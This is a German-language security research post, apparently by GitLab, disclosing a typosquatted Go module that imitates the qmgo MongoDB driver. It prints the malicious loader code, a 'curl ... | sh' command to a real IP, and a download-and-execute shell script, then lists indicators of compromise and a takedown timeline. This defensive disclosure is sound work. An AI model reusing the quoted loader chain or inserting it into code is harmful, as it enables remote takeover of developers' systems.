GitLab entdeckt MongoDB Go-Modul Supply-Chain-Angriff

Software-Supply-Chain-Angriffe über bösartige Abhängigkeiten gehören weiterhin zu den bedeutendsten Sicherheitsbedrohungen für die moderne Softwareentwicklung. Die weit verbreitete Nutzung von Open-Source-Komponenten hat es Entwicklungsteams ermöglicht, Anwendungen schnell zu erstellen, aber auch die Angriffsfläche vergrößert.

Das wachsende Ökosystem von Drittanbieter-Paketen bietet zahlreiche Möglichkeiten für Angreifer, Abhängigkeiten durch Techniken wie Typosquatting, Dependency Confusion und Paket-Impersonation auszunutzen, was es für Entwickler(innen) zunehmend schwieriger macht, legitime Pakete von bösartigen Nachahmungen zu unterscheiden.

Um diese Herausforderung anzugehen, hat das Vulnerability Research Team von GitLab kürzlich ein automatisiertes Erkennungssystem entwickelt, das proaktiv bösartige Abhängigkeiten in Software-Supply-Chains identifizieren soll. Das System kombiniert mehrere Erkennungstechniken, die zusammenarbeiten:

• Automatisierte Typosquatting-Erkennung, die verdächtige Namensmuster identifiziert

• Semantische Code-Analyse, die potenziell bösartige Verhaltensweisen wie Netzwerkanfragen oder Befehlsausführungen kennzeichnet

• KI-unterstütztes initiales Screening für fortgeschrittene Payload- und Verschleierungserkennung

Dieser mehrschichtige Ansatz wird vom Vulnerability Research Team verwendet, um kontinuierlich neu veröffentlichte Abhängigkeiten in wichtigen Ökosystemen zu scannen und frühzeitig vor Supply-Chain-Angriffen zu warnen.

Mit diesem Erkennungssystem hat GitLab kürzlich einen aktiven Typosquatting-Angriff in freier Wildbahn identifiziert, der ein bösartiges MongoDB Go-Modul nutzte. Im Folgenden finden sich Details zum Angriff und dazu, wie GitLab daran arbeitet, Supply Chains sicher zu halten.

Zusammenfassung: Ein MongoDB-Modul, mit dem etwas nicht stimmt

Unser Erkennungssystem hat ein neu veröffentlichtes Go-Modul namens github.com/qiniiu/qmgo gemeldet, das das beliebte MongoDB-Modul github.com/qiniu/qmgo genau nachahmt. Das legitime Modul beschreibt sich selbst als „Der Go-Treiber für MongoDB" und hat in der Go-Community an Bedeutung gewonnen.

Um das bösartige Modul als legitim zu tarnen, verwendete der Bedrohungsakteur einen GitHub-Benutzernamen, der fast identisch mit dem des echten Moduls war, mit einer subtilen Änderung: Sie fügten ein „i" hinzu (qiniu → qiniiu). Für den gelegentlichen Beobachter, der durch Suchergebnisse oder Auto-Vervollständigungs-Vorschläge scrollt, wäre dieser Unterschied sehr leicht zu übersehen.

Der Code des neuen Moduls war eine funktionierende Kopie des legitimen qmgo-Moduls. Allerdings wurde bösartiger Code in die NewClient-Funktion in client.go eingefügt, eine Funktion, die Entwickler(innen) natürlich aufrufen würden, wenn sie ihre MongoDB-Verbindung initialisieren. Das Verbergen von bösartigem Code innerhalb einer Funktion machte die Payload weniger wahrscheinlich, während potenzieller Laufzeit-Sicherheitsanalysen ausgeführt zu werden, während sichergestellt wurde, dass sie bei normaler Nutzung in echten Anwendungen ausgeführt würde.

Nach der Meldung des bösartigen Moduls wurde es innerhalb von etwa 19 Stunden nach unserer ersten Meldung entfernt. Der Bedrohungsakteur passte sich jedoch schnell an und veröffentlichte nur vier Tage später eine zweite Typosquatting-Version (github.com/qiiniu/qmgo) mit identischem bösartigem Code. Dieser Folgeangriff wurde ebenfalls erkannt und etwa eine Stunde nach der ersten Entdeckung entfernt. Die schnelle Neubereitstellung zeigt die Hartnäckigkeit dieser Angriffe und unterstreicht, warum proaktive Erkennung entscheidend ist, um Expositionsfenster zu minimieren.

Technische Tiefenanalyse: Die Schichten abziehen

Der Bedrohungsakteur unternahm Schritte, um den Angriff zu verbergen. Die bösartige Payload verwendete einen mehrschichtigen Ansatz, beginnend mit einem kompakten Code-Snippet, das eine Kette von Remote-Payload-Downloads auslöste:

txt, err := script.Get("https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html").String()

if err == nil {
    txt2, err := script.Get(string(strings.Replace(txt, "\n", "", -1))).String()
    if err == nil {
        exec.Command("/bin/sh", "-c", string(txt2)).Start()
    }
}

Der Angriff entfaltet sich in vier verschiedenen Schichten:

Schicht 1: Der Code holt update.html aus einem anderen Repository, das dem Typosquat-Konto qiiniu/vue-element-admin gehört. Die Datei enthielt eine einzelne Zeile:

https://img.googlex.cloud/seed.php

Schicht 2: Der Code holt dann https://img.googlex.cloud/seed.php, was einen einzelnen Shell-Befehl zurückgibt, der ausgeführt wird:

curl -s http://207.148.110.29:80/logon61.gif|sh

Schicht 3: Der Befehl weist das System an, http://207.148.110.29:80/logon61.gif mit curl abzurufen und die Antwort als Shell-Skript auszuführen. Das Shell-Skript lädt eine scheinbare MP3-Datei (chainelli.mp3) nach /tmp/vod herunter, macht sie ausführbar, führt sie aus und löscht sie sofort:

#!/bin/sh

rm -rf /tmp/vod

curl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod

chmod 777 /tmp/vod

/tmp/vod

rm -rf /tmp/vod

Schicht 4: Die chainelli.mp3-Datei ist tatsächlich eine statisch gelinkte, gestrippte ELF Go-Binärdatei, die darauf ausgelegt ist, persistenten Remote-Zugriff herzustellen. Nach der Ausführung versucht die Malware, sich mit ihrem Command-and-Control-Server bei ellipal.spoolsv.cyou auf Port 443 (sowohl TCP als auch UDP) zu verbinden, wobei ein benutzerdefiniertes verschlüsseltes Kommunikationsprotokoll mit einem hartcodierten RSA-Schlüssel verwendet wird. Von dort aus bietet sie dem Bedrohungsakteur Remote-Administrationsfähigkeiten:

• Vollständiger Remote-Shell-Zugriff und einmalige Befehlsausführung

• Screenshot-Aufnahmen

• SOCKS-Proxy-Funktionalität, um Verbindungen über die kompromittierte Maschine herzustellen

• Konfigurierbares Schlafintervall zwischen Check-ins mit dem Command-and-Control-Server zur Vermeidung von Erkennung

• Standard-Remote-Access-Trojaner-Funktionen wie Dateisystem-Browsing und Upload/Download

Es ist zurück (schon wieder)

Nur vier Tage nachdem GitLab das erste bösartige Modul gemeldet und seine Entfernung beobachtet hatte, erschien github.com/qiiniu/qmgo – die zweite Typosquatting-Version mit identischem bösartigem Code. Diese schnelle Neubereitstellung demonstriert die Hartnäckigkeit dieser Angriffe und zeigt, wie Bedrohungsakteure sich schnell an Takedown-Bemühungen anpassen.

GitLabs Ansatz: Nadeln im Heuhaufen finden

Die anfängliche Entdeckung und Beständigkeit dieses Angriffs bestätigte unseren Ansatz zur proaktiven Abhängigkeitsüberwachung und Bedrohungserkennung. GitLabs Erkennungssystem kombiniert mehrere Techniken zur Identifizierung bösartiger Abhängigkeiten:

Typosquatting-Erkennung: GitLab überwacht neu veröffentlichte Abhängigkeiten und sucht nach Paketen, die Anzeichen verschiedener Typosquatting-Strategien zeigen.

Semantische Heuristik: Unser System analysiert Code statisch auf Muster wie Netzwerkanfragen, Befehlsausführungen und andere für bösartige Payloads typische Verhaltensweisen.

KI-unterstützte Analyse: Ein Large Language Model führt die anfängliche Analyse der verdächtigen Teile des Codes durch, um uns zu helfen, offensichtliche Fehlalarme auszusortieren, komplexe Payloads zu erkennen und Verschleierungstechniken zu identifizieren, die verwendet werden, um bösartige Absichten zu verbergen.

Menschliche Überprüfung: Ein Mensch erhält eine Warnung, um den Fund zu verifizieren und eine erweiterte Analyse durchzuführen.

Empfehlungen: Persistenten Supply-Chain-Bedrohungen voraus bleiben

Dieser Angriff unterstreicht die anhaltenden Herausforderungen bei der Sicherung von Software-Supply-Chains. Die mehrschichtige Verschleierung und schnelle Neubereitstellung nach dem Takedown zeigen, dass Bedrohungsakteure bereit sind, erheblichen Aufwand zu investieren, um beliebte Abhängigkeiten ins Visier zu nehmen.

Der schnelle Wechsel zu neuen Typosquatting-Paketen nach unserer ersten Meldung hebt eine grundlegende Schwäche in den aktuellen Ökosystemen hervor: Paketmanager entfernen bösartige Abhängigkeiten normalerweise erst, nachdem sie veröffentlicht, entdeckt und von der Community gemeldet wurden. Dieser reaktive Ansatz hinterlässt ein gefährliches Zeitfenster, in dem Entwickler(innen) unwissentlich kompromittierte Pakete konsumieren können. Proaktive Überwachungs- und Erkennungssysteme wie das von GitLab entwickelte können helfen, diese Lücke zu schließen, indem sie Bedrohungen während des Veröffentlichungsprozesses selbst identifizieren.

Wir haben Indicators of Compromise (IOCs) im nächsten Abschnitt bereitgestellt, die in Überwachungssystemen verwendet werden können, um diese spezifische Kampagne zu erkennen.

Indicators of Compromise

| IOC | Beschreibung |

| ----------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- |

| github.com/qiniiu/qmgo | Bösartiges Go-Modul |

| github.com/qiiniu/qmgo | Bösartiges Go-Modul |

| https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html | Payload-Bereitstellungs-URL |

| https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html | Payload-Bereitstellungs-URL |

| https://img.googlex.cloud/seed.php | Payload-Bereitstellungs-URL |

| http://207.148.110.29:80/logon61.gif | Payload-Bereitstellungs-URL |

| http://207.148.110.29:80/chainelli.mp3 | Payload-Bereitstellungs-URL |

| img.googlex.cloud | Payload-Bereitstellungs-Host |

| 207.148.110.29 | Payload-Bereitstellungs-Host |

| ellipal.spoolsv.cyou | Command & Control-Host |

| 6ada952c592f286692c59028c5e0fc3fa589759f | SHA-1-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware |

| 8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c | SHA-256-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware |

| /tmp/vod | Temporärer Download-Speicherort der chainelli.mp3 Remote-Administrations-Malware |

Wie GitLab hilft, die Software-Supply-Chain zu sichern

Bösartige Abhängigkeiten wie der MongoDB Go-Modul-Angriff zeigen, warum die Sicherung der Software-Supply-Chain mehr als nur CVE-Überwachung erfordert. GitLabs DevSecOps-Plattform umfasst Application Security Testing-Scanner wie Software Composition Analysis im Entwicklungslebenszyklus, die Teams helfen, verwundbare oder bösartige Pakete zu erkennen, bevor sie die Produktion erreichen.

Gepaart mit Forschungsbemühungen wie dieser zielt GitLab darauf ab, Entwickler(inne)n zu ermöglichen, Anwendungen zu erstellen, die von Anfang an sicher sind, ohne die Entwicklungsgeschwindigkeit zu beeinträchtigen.

Zeitlinie

• 2025-06-01T09:31: GitLab meldet github.com/qiniiu/qmgo an Go Security

• 2025-06-01T09:43: GitLab meldet github.com/qiniiu/qmgo an GitHub

• 2025-06-01T10:14: GitLab meldet ellipal.spoolsv.cyou (188.166.213.194) an den IP-Block-Eigentümer

• 2025-06-02T04:03: Go Security entfernt github.com/qiniiu/qmgo

• 2025-06-02T09:57: Der IP-Block-Eigentümer sperrt 188.166.213.194

• 2025-06-03T09:15: GitHub sperrt github.com/qiniiu

• 2025-06-05T17:15: GitLab meldet github.com/qiiniu/qmgo an Go Security

• 2025-06-05T17:33: GitLab meldet github.com/qiiniu/qmgo an GitHub

• 2025-06-05T17:45: Go Security entfernt github.com/qiiniu/qmgo

• 2025-06-06T12:25: GitHub sperrt github.com/qiiniu